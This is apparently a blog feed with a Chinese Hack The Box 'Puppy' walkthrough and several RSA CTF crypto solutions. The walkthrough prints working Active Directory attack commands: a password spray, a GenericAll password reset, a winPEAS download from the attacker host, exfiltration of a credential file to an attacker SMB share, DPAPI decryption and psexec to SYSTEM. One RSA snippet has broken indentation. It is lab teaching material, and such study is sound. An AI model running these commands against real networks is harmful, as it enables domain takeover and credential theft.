&lt;p&gt;凭证收集与密码喷洒&lt;/p&gt;
&lt;p&gt;使用破解的密码 &lt;code&gt;liverpool&lt;/code&gt; 打开 &lt;code&gt;recovery.kdbx&lt;/code&gt; 文件，发现其中存储了 5 组凭证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keepassxc recovery.kdbx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将这些新凭证连同已知的密码（共7个）保存到 &lt;code&gt;passwords.txt&lt;/code&gt; 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JamieLove2025!
Antman2025!
ILY2025!
Steve2025!
HJKL2025!
KingofAkron2025!
liverpool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用更新后的用户列表 (users.txt) 和密码列表 (passwords.txt) 再次进行密码喷洒。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.70 -u users.txt -p passwords.txt --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码喷洒成功获取了用户 ant.edwards 的有效凭证 Antman2025!&lt;/p&gt;
&lt;p&gt;横向移动：控制 &lt;code&gt;adam.silver&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;BloodHound 分析：&lt;code&gt;ant.edwards&lt;/code&gt; 对 &lt;code&gt;adam.silver&lt;/code&gt; 的 GenericAll 权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GenericAll 是 Active Directory 中最强大的权限之一，它赋予主体（用户/组）对目标对象的 完全控制权，相当于 Full Control。拥有此权限的攻击者可以 直接修改、删除甚至接管目标对象（如用户、组、计算机等）。

1. GenericAll 权限的作用

允许的操作	攻击场景
修改所有属性（包括密码、SPN、组成员）	重置用户密码、添加自己到管理员组
删除对象	删除关键用户/组，破坏域完整性
修改 ACL（权限）	赋予自己 DCSync 权限
修改 msDS-KeyCredentialLink	Shadow Credentials 攻击（证书持久化）
修改 userAccountControl	启用禁用账户或设置 TRUSTED_FOR_DELEGATION

实战利用手法:
直接重置用户密码
添加自己到管理员组‹
Shadow Credentials（证书持久化）
授予自己 DCSync 权限
修改 SPN 进行 Kerberoasting
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 BloodHound 中分析新获取的用户 &lt;code&gt;ant.edwards&lt;/code&gt; 的权限，发现其对之前被禁用的用户 &lt;code&gt;adam.silver&lt;/code&gt; 拥有 &lt;code&gt;GenericAll&lt;/code&gt; 权限。&lt;/p&gt;
&lt;p&gt;同时，&lt;code&gt;adam.silver&lt;/code&gt; 是 &lt;code&gt;Remote Management Users&lt;/code&gt; 组的成员，这意味着一旦其账户被启用并设置密码，便可以通过 WinRM 进行远程登录。&lt;/p&gt;
&lt;p&gt;启用账户并重置密码
利用 &lt;code&gt;ant.edwards&lt;/code&gt; 的 &lt;code&gt;GenericAll&lt;/code&gt; 权限，我们首先重置 &lt;code&gt;adam.silver&lt;/code&gt; 的密码，然后移除其账户的 &lt;code&gt;ACCOUNTDISABLE&lt;/code&gt; 标记以启用该账户。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -u &apos;ant.edwards&apos; -p &apos;Antman2025!&apos; -d puppy.htb --host 10.10.11.70 set password adam.silver summer@123
bloodyAD -u &apos;ant.edwards&apos; -p &apos;Antman2025!&apos; -d puppy.htb --host 10.10.11.70 remove uac adam.silver -f ACCOUNTDISABLEWinRM 登录与用户 Flag 获取
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WinRM 登录与用户 Flag 获取
使用新设置的凭证 &lt;code&gt;adam.silver:summer@123&lt;/code&gt; 通过 WinRM 远程登录目标服务器，并成功获取 &lt;code&gt;user.txt&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.70 -u &apos;adam.silver&apos; -p &apos;summer@123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat c:\users\adam.silver\desktop\user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进一步提权：DPAPI 与 &lt;code&gt;steph.cooper_adm&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;文件发现与凭证泄露 (&lt;code&gt;steph.cooper&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;adam.silver&lt;/code&gt; 用户的 Shell 中，于 &lt;code&gt;C:\Backups&lt;/code&gt; 目录下发现一个压缩包。将其下载到本地进行分析。
发现密码ChefSteph2025&lt;/p&gt;
&lt;p&gt;将ChefSteph2025写入passwd.txt
再次进行密码喷洒&lt;/p&gt;
&lt;p&gt;此轮喷洒确认了 &lt;code&gt;steph.cooper/ChefSteph2025!&lt;/code&gt; 凭证的有效性。BloodHound 分析显示 &lt;code&gt;steph.cooper&lt;/code&gt; 也是远程管理组成员，但没有直接的权限提升路径。&lt;/p&gt;
&lt;p&gt;DPAPI 信息收集与利用&lt;/p&gt;
&lt;p&gt;通过 WinRM 登录用户 &lt;code&gt;steph.cooper&lt;/code&gt;。在其桌面上发现 Edge 浏览器快捷方式（&lt;code&gt;adam.silver&lt;/code&gt; 桌面也有），暗示浏览器可能存储了凭证，这些凭证通常使用 Windows DPAPI 加密。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.70 -u &apos;steph.cooper&apos; -p &apos;ChefSteph2025!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WinPEAS 枚举&lt;/p&gt;
&lt;p&gt;上传并运行 &lt;code&gt;winpeas.exe&lt;/code&gt; 进行提权向量和敏感信息枚举。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget -uri 10.10.16.78/winPEASx64.exe -outfile winpeas.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据 WinPEAS 的提示，下载 DPAPI 主密钥文件 (556a2412-1275-4ccf-b721-e6a0b4f90407) 和两个凭据文件 (DFBE70A7E5CC19A398EBF1B96859CE5D, C8D69EBE9A43E9DEBF6B5FBD48B521B9)。
由于其中一个凭据文件是隐藏文件，evil-winrm 的 download 命令下载出错，因此借助于本地开启的 impacket-smbserver 进行传输。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;556a2412-1275-4ccf-b721-e6a0b4f90407
DFBE70A7E5CC19A398EBF1B96859CE5D
C8D69EBE9A43E9DEBF6B5FBD48B521B9
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 在攻击机上启动 SMB 服务器
impacket-smbserver -smb2support a .
# 在目标机 steph.cooper 的 WinRM 会话中执行复制命令
Copy-Item -Path &quot;C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D&quot; -Destination &quot;\\10.10.16.78\a\&quot; -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主密钥提取&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;impacket-dpapi&lt;/code&gt; 和 &lt;code&gt;steph.cooper&lt;/code&gt; 的密码 &lt;code&gt;ChefSteph2025!&lt;/code&gt; 及 SID 从主密钥文件中提取出可用的 masterkey。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password &apos;ChefSteph2025!&apos; -sid S-1-5-21-1487982659-1829050783-2281216199-1107
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;凭证解密&lt;/p&gt;
&lt;p&gt;使用提取的 masterkey 解密下载的两个凭据文件。第一个文件未包含有用信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有效结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密第二个凭据文件时，成功发现了一组凭据：&lt;code&gt;steph.cooper_adm:FivethChipOnItsWay2025!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;域控权限获取&lt;/p&gt;
&lt;p&gt;BloodHound 分析：&lt;code&gt;steph.cooper_adm&lt;/code&gt; 权限&lt;/p&gt;
&lt;p&gt;BloodHound 分析显示，用户 &lt;code&gt;steph.cooper_adm&lt;/code&gt; 是 &lt;code&gt;Domain Admins&lt;/code&gt; 组的成员，即域管理员。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;psexec&lt;/code&gt; 获取域控 Shell&lt;/p&gt;
&lt;p&gt;利用获取到的域管理员凭证 &lt;code&gt;steph.cooper_adm:FivethChipOnItsWay2025!&lt;/code&gt;，通过 &lt;code&gt;impacket-psexec&lt;/code&gt; 直接登录域控制器 &lt;code&gt;10.10.11.70&lt;/code&gt;，获得 SYSTEM 权限。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec steph.cooper_adm:&apos;FivethChipOnItsWay2025!&apos;@10.10.11.70
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;type c:\users\administrator\desktop\root.txt
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>NSS_RSA_4</title><link>https://sinqwq.top/posts/nss_rsa_4/</link><guid isPermaLink="true">https://sinqwq.top/posts/nss_rsa_4/</guid><description>NSS_RSA_4</description><pubDate>Thu, 04 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;wp-1&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;依旧还是先来一道热身题，本题我们可以发现和以往的RSA稍有不同，这里
$$
n = p^2q\
e = n
$$&lt;/p&gt;
&lt;p&gt;同时我们直接得到了$ d $，按照RSA的思路则直接$ c^d\bmod{n} $即可，但是我们会发现解密出来是乱码，说明这样解密是不对的，实际上这是一种新的加密体系，名为Schemidt-Samoa非对称密码，而它的解密方式为
$$
m = c^d\bmod{pq}
$$&lt;/p&gt;
&lt;p&gt;其中$ d\cdot n\equiv 1\pmod{\varphi(pq)} $，注意这里的模是模$ pq $而不是$ n $，我们可以稍微推导一下正确性证明
$$
c^d \equiv m^{nd}\pmod{pq}
$$&lt;/p&gt;
&lt;p&gt;后面应该可以自行推导了，其实就是和RSA一样，如果$ m\not|\ (pq) $，则直接欧拉定理得结果为$ m $，否则则设$ m=hp $代入再推导也是得到结果$ m $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;那么现在我们得问题是只有$ n $和$ d $，怎么得到模数$ pq $，这里我们知道$ pq | n $，所以可以考虑用$ d $构造出一个数和$ n $求解最大公因数得到$ pq $。
有
$$
x^{nd} \equiv x^{nd-1}\cdot x \equiv x\pmod{pq}
$$&lt;/p&gt;
&lt;p&gt;所以显然有$ (x^{nd}-x) | pq $，则我们通过这种方式就可得到模数了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

def getPQ(pub, priv):
    return gmpy2.gcd(pub, gmpy2.powmod(2, pub*priv, pub)-2)
    def decrypt(pub, priv, enc):
      return gmpy2.powmod(enc, priv, getPQ(pub, priv))

  n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
  d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
  c = 192900246089028524753714085947506209686933390275949638288635203069117504901164350538204619142802436833736532680210208373707687461486601253665313637541968852691434282584934523173439632554783111037594035333325446559685553119339191110056283203940511701992217372405369575376549738295022767068810511670144120539082403063406787770958515441813335548550876818218065412869322721395317537328975187612606437225577060414403223288106406471061759010085578263501971809720648827


  pq = getPQ(n, d)
  m = decrypt(n, d, c)
  print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;出题人经常会出此类RSA变种题目，即使你找不到它到底是什么加密方式，其实也可以自行推导出其中的关系今进行解密。&lt;/p&gt;
&lt;h1&gt;wp-2&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题题面很简单，让我们求解出一个一元三次方程的解，我们中学时期都学过一元二次方程的通解，同样的对于一元三次方程也是有通解的，但问题是，这里的方程是一个模意义下的方程，我们似乎在模意义下很多运算都变得复杂了起来，例如之前的开根算法。
之后我们将不再使用方程的概念，我们将称其为多项式或者函数，我们的问题变成对于一个模意义下的多项式函数
$$
f(x) \equiv ax^3 + bx^2 + cx + d - y \bmod{p}
$$&lt;/p&gt;
&lt;p&gt;求解其根或者说零点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这个问题同样也是一个很难的问题，对于任意一个模意义下的多项式来说，除了爆破破解外，我们有时候会使用例如 &lt;code&gt;Hensel Lifting&lt;/code&gt;或插值法来进行求解，但这不是一定有效的，或者说无法在多项式时间复杂度内得到解。
但是若是我们知道了这个根是一个小根（即数值较小的根），或者说存在一个小根，则我们可以利用 &lt;code&gt;Don Coppersmith&lt;/code&gt;提出的模多项式算法在多项式时间内求解。
设模$ n $意义下的$ e $阶多项式$ f $，Coppersmith方法可以求解得到两种根&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$ n^{1/e} $以内的小根&lt;/li&gt;
&lt;li&gt;给定$ \beta $，得到模$ p $意义下的小根，其中$ p \ge n^{\beta} $且为$ n $的因数。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;从这我们可以看出Coppersmith不仅可以得到模$ n $意义下的小根，还可以得到模其因子下的小根，这对于RSA非常有用，因为假设在RSA中我们得到的是一个模$ p $的多项式方程，但是我们没有$ p $，则可以直接用模$ n $进行求解。
关于Coppersmith的原理则涉及格密码内容，在这里我们暂时不做分析，只需要了解Coppersmith的用法即可。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;要使用Coppersmith，Python便不再满足，我们需要一些更加专项的工具，这里我们将使用Sagemath环境进行使用，这是一个开源免费的数学工具，内置各类数学方法和算法。
Sagemath基于Python编写，而且兼容所以我们上手会非常容易，除了语法一样外，你也可以直接在Sage中引入Python包进行执行。
这里我们将介绍以下Window下的安装方法，对于Linux直接使用 &lt;code&gt;apt&lt;/code&gt;即可安装，对于Mac建议使用conda进行安装，对于 &lt;code&gt;Linux&lt;/code&gt;和 &lt;code&gt;Mac&lt;/code&gt;用户可以自行搜索上述关键词进行安装。
https://mirrors.aliyun.com/sagemath/win/index.html
&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/78b5cd46d7.png&quot; alt=&quot;NSS图片&quot; /&gt;
这里选择一个版本下载即可，下载之后运行安装到某个目录即可。
安装成功后，桌面会出现三个图标（以我的9.2版本为例）
&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/9b673bfde3.png&quot; alt=&quot;NSS图片&quot; /&gt;
其中&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SageMath 9.2&lt;/code&gt;为交互环境，即直接进入sage环境交互式的运行语句&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/171d2597dc.png&quot; alt=&quot;NSS图片&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SageMath 9.2 Shell&lt;/code&gt;为一个终端环境，你可以在这里进入指定路径后通过 &lt;code&gt;sage xxx.sage&lt;/code&gt;来运行某个sage代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/550d17c6f6.png&quot; alt=&quot;NSS图片&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SageMath 9.2 Notebook&lt;/code&gt;为Jupyter环境，你可以点击右上角创建新的 &lt;code&gt;.ipynb&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/91a06a7c81.png&quot; alt=&quot;NSS图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你还没有使用过Jupyter环境，你可以先搜索一些相关介绍，实际上它就是一个可以保存运行时内容的操作环境&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/e7f4fd3368.png&quot; alt=&quot;NSS图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以看到他的文件分为多个代码块，你可以点击运行其中某个代码块，而整个文件共享一个域，且保存文件后，代码块的输出也会保存下来，下次可以直接看见。关于更多Jupyter的操作内容可以自行搜索相关信息。我们这里把它当成Sagemath环境即可。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来我们便可以使用Coppersmith进行求解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

p = 133497915779382863191750985139274661777547262395290628161924420897772911005538338729076080701700641387222690295548776566406640902391412661622674862629221960258683570655393881212072865809598640669325347893228617784548982886334708010706482958773921901369314425694414231562752232070402056445403762485870067804611
a = 9956367951694116871507184264812038680047685394446603010101493156120195118634053526664122377707243776744926630820373051608195739431033785355316509320690639
b = 10372715760267086803036635068149481902075294943354407472550232447612611381527989796797133302495652064200149218004252582942179771677307157495328484190016267
c = 6954444546090251351899752282258945069765577103755637726562318645879810909547057855773433206441550954298878711294660493586907360045986061150306446126101573
d = 12708905621484064085174866220764918657140490021181156214236692898034114314742314389460399916798129560082685314351680895409634875081403212130502800572290391
y = 89881957270704175663646084308402351944545222001266778194637035700540903495792268004845278611707036762628657152963392762363015748904045511650663013086598899685992255568758440781657480520250399778976982455784259655683731183717562593121780657623767804362641533930566522430
h = 584447473604416360596641349947186936435346265446590336271443321812736224750414727189483734666053582372219773206703655293254283559436185831581631

PR.&amp;lt;x&amp;gt; = PolynomialRing(GF(p))
f = a*x^3 + b*x^2 + c*x + d - y
f = f.monic()
res = f.small_roots()
m = h // int(res[0])
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们来解释一下代码，其中
&lt;code&gt;PR.&amp;lt;x&amp;gt; = PolynomialRing(GF(p))&lt;/code&gt;
是Sage的独有语法，其变量名为 &lt;code&gt;PR&lt;/code&gt;，&lt;code&gt;&amp;lt;x&amp;gt;&lt;/code&gt;代表代表多项式环中的变量标识符，你可以理解为一个未知数。
后面的 &lt;code&gt;PolynomialRing&lt;/code&gt;即字面意思 &lt;code&gt;多项式环&lt;/code&gt;，&lt;code&gt;GF(p)&lt;/code&gt;代表一个模数为$ p $的有限域，这里我们需要逐步了解一些代数概念，&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;环&lt;/p&gt;
&lt;p&gt;群环域，都是抽象代数中的一些概念，在我们之前的内容都是对具体的值做运算，我们的操作对象是元素，在抽象代数中，把运算符和运算规则也作为了一种操作对象进行操作，通过包含不同性质和运算符的集合创造了群环域这些概念。&lt;/p&gt;
&lt;p&gt;对于环来说，它包含两个二元运算（我们一般称为加法和乘法，注意我们只是这么叫，具体运算和环定义有关），并且满足一些例如 &lt;code&gt;分配律，结合律&lt;/code&gt;的运算规则。而多项式环则是至其中的元素对象为一个多项式，对于抽代来说，一切都是基于初始的定义进行衍生的，我们不能再以以往的经验来进行操作，例如$ a+b = b+a $，$ a\cdot b = a+\cdots+a $等等这些法则在抽代中是需要证明或被定义的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;伽罗瓦域（Galois Field）也称有限域&lt;/p&gt;
&lt;p&gt;有限域是域中的一种，域在抽代中和环的区别就是有无乘法逆元，存在乘法逆元的环就是域。而有限域则是一个模域，即域是在模$ p $以下成立的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其实我们现在将这些群环域想象成运算的空间即可，在这个空间内定义了运算法则。那么代码其实就是创建了一个多项式的运算空间（这个多项式环），并且其中的元素限定在另一个空间中（模$ p $的有限域）。
后续便是 &lt;code&gt;f = a*x^3 + b*x^2 + c*x + d - y&lt;/code&gt;，这行应该比较简单，实际上就是创建了一个多项式，并且里面的未知数是$ x $，$ x $便是上面我们创建的多项式环中的未知数，所以这个多项式也是被现在在上面的运算空间（多项式环）中的。
接下来 &lt;code&gt;f = f.monic()&lt;/code&gt;，是把$ f $变成首一多项式（即最高项系数为1的多项式），因为原多项式首项系数为$ a $，首一多项式能够方便表达和计算，并且对于Coppersmith它要求输入必须是一个首一多项式。其实原理很简单，我们给每项乘上$ a $的逆元即可，得到的新多项式
$$
f&apos;(x) = a^{-1}\cdot f(x) = x^3 + a^{-1}bx^2 + a^{-1}cx + a^{-1}d - a^{-1}y
$$&lt;/p&gt;
&lt;p&gt;便是首一多项式，并且这不会影响多项式的根。
最后 &lt;code&gt;f.small_roots()&lt;/code&gt;便是使用 &lt;code&gt;Coppersmith&lt;/code&gt;进行求解，Sage中的 &lt;code&gt;small_roots&lt;/code&gt;便是 &lt;code&gt;Coppersmith&lt;/code&gt;方法的一种实现。调用即可得到多项式的小根。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后我们便得到了根，注意这些根在进行其他运算之前先调用 &lt;code&gt;int()&lt;/code&gt;转为整数，因为这个根还是“&lt;strong&gt;那个空间&lt;/strong&gt;”的元素。
这里还有可能的错误便是运行会发现提示包不存在，这是因为Sagemath不会使用系统的Python，而是内部内置了一个Python版本，我们需要单独给这个Python安装我们之前所安装过的一些Python包，具体方法为在 &lt;code&gt;SageMath Shell&lt;/code&gt;中使用
&lt;code&gt;sage -pip install pycryptodome&lt;/code&gt;
来安装包，最终结果应该如下
&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/24/14c705a5a7.png&quot; alt=&quot;NSS图片&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-3&lt;/h1&gt;
&lt;p&gt;上一题我们了解了模多项式如何求根，本题再来放松以下，题目很简单，给出两组密文让我们求解flag，我们可以发现这两组密文的明文是有联系的&lt;/p&gt;
&lt;p&gt;$$
m_2 = am_1 + b
$$&lt;/p&gt;
&lt;p&gt;此时我们可以考虑推导以下他们的关系&lt;/p&gt;
&lt;p&gt;有&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
c_2 &amp;amp;\equiv (am_1+b)^3\
&amp;amp;\equiv a^3m_1^3 + 3a^2m_1^2b + 3am_1b^2 + b^3\
&amp;amp;\equiv a^3c_1 + 3b(a^2m_1^2 + am_1b + b^2) - 2b^3\
&amp;amp;\equiv a^3c_1 + 3b((am_1)^3 - b^3)(am_1 - b)^{-1} - 2b^3\
&amp;amp;\equiv a^3c_1 + 3b(a^3c_1 - b^3)(am_1 - b)^{-1} - 2b^3 \pmod{m}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;里面第三步用到了立方差公式&lt;/p&gt;
&lt;p&gt;$$
a^3 - b^3 = (a - b)(a^2 + ab + b^2)
$$&lt;/p&gt;
&lt;p&gt;移项得&lt;/p&gt;
&lt;p&gt;$$
(c_2 - a^3c_1 + 2b^3)(am_1-b)\equiv  3ba^3c_1 - 3b^4 \pmod{n}
$$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$
m_1 \equiv \frac{b(c_2 + 2a^3c_1 - b^3)}{a(c_2 - a^3c_1 + 2b^3)} \pmod{n}
$$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

n = 100458074154921630841467009716211081004496986067171453439200150708921645946139163766441611050743248698408002732330100522747315912617782265320913313460939731072047224701193946357341685422329349168512101723657005099845122860786073559690394636750367940135874243034107367507957642817011696553619030089913082650051
a = 235598638113466821523819951671842238817
b = 183046284622289531351267591814278208143
c1 = 59213026759461784288811267183372841532509333531605324857784387344377914885661521950844577998650904368265218037805476510488318417561718106578315758637105422183211905379616339980270327392640886739452625323181466064322246845738001714864060399808732460864513032069624364554351131806580712989439398464697132652674
c2 = 3451970836023636992808694960720139231990590529637727188690993996140273782744393239397467373679391223914185297028545706156586953463105320180151843119949047044046733716896796505869700601788410522957973779842899158545218190431782013633486273807312128458720848868027747769057989052968304813931468091592761421857

def get_m1(a, b, c1, c2, n):
    a3 = pow(a, 3, n)
    b3 = pow(b, 3, n)
    tmp1 = ((c2 + 2*a3*c1 - b3) * b) % n
    tmp2 = ((c2 - a3*c1 + 2*b3) * a) % n
    tmp3 = invert(mpz(tmp2), mpz(n))
    tmp4 = (tmp1 * tmp3) % n 
    return tmp4

m1 = get_m1(a, b, c1, c2, n)
flag = long_to_bytes(m1)
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;wp-4&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;和上题一样，又是线性关系得明文求解，这里如果我们再去推导会发现非常麻烦，因为此时阶为5了，此时我们考虑有没有什么通用的办法，实际上这便是一种RSA攻击方式
&lt;strong&gt;关联信息攻击&lt;/strong&gt;：若明文满足$ m_2 \equiv f(m_1) \pmod{n} $，且$ f(x) = ax+b $，又
$$
c_1 \equiv m_1^e \pmod{n}\
c_2 \equiv m_2^e \pmod{n}\
$$&lt;/p&gt;
&lt;p&gt;则$ m_1 $是方程$ f(x)^e\equiv c_2\pmod{n} $的一个根，因为$ c_1\equiv m_2^e \equiv f(m_1)^e \pmod{n} $。又有$ m_1 $还是$ x^e \equiv c_2\pmod{n} $下的一个根。则如果我们对两个多项式求最大公因子，如果公因多项式是线性的（即一次多项式），则它的系数便是$ m_1 $。
这里涉及到多项式的除法，其除法其实就是看能否因式分解，例如$ f_1=x^2+2x = x(x+2) $，所以$ f_2=x+2 $整除$ f_1 $，商为$ x $，余数为0。
即模$ n $意义下的两个多项式
$$
p(x) = (ax+b)^e - c_1\
q(x) = x^e - c_2
$$&lt;/p&gt;
&lt;p&gt;假设其公因多项式为$ f(x) $，则说明
$$
p(x) = f(x)p&apos;(x)\
q(x) = f(x)q&apos;(x)
$$&lt;/p&gt;
&lt;p&gt;我们又知道$ m_1 $是原多项式的根，则说明$ m_1 $也是$ f(x) $的根，假如$ f(x) $是线性的即$ f(x) = ax+b $，则我们解$ f(x) = 0 $即可得到根即$ m_1 $。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

n = 13919443827889434443507983317773657992305936401066686387374260636490833628767777134968864107882874635776776741295578533278845576747348959144023000046017344598661215911149680972293657114227644912150926936884507570232880546597335636361816325245444237275023999522533527764240730547185826755972838574195391038131656239536920948158465916528880835693552792260356361022462682037427718404037021825844211741628768123221090717527493
a = 285426137705625850725555147387995674019
b = 277985464990476154618471183198080357743
c1 = 9426395562512809581013620472326672750327318596813074726353079091173842802365552984264585030513998874440683981314827988473250779276622812642078592270162488257445750556180090334901558598065090257832879692296066144186335139137620672058976438826755846843815726564085636220609216862492337842110335421544935056753632826033207088809042045528566533513130910178132026694855125856386336197708244017301467175024440126022121500756597
c2 = 7817626870900560837063304883188246502988767588941344995287074193857215881437472677956793645281329763767094907997432409446021978284194802133451654430505222891535367029301384789198710394554265321474931034378249847884399129098152817955822667403789421376159327548545340231962148603594715994813791837670639630747654837874296940404313828931665262517234613625655607389345122624044747819855804429899373080756267420097146009333048

def attack(c1, c2, a, b, e, n):
    PR.&amp;lt;x&amp;gt;=PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (a*x + b)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
    print(gcd(g1, g2))
    return -gcd(g1, g2)[0]

m1 = attack(c1, c2, a, b, 5, n)
flag = long_to_bytes(int(m1))
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
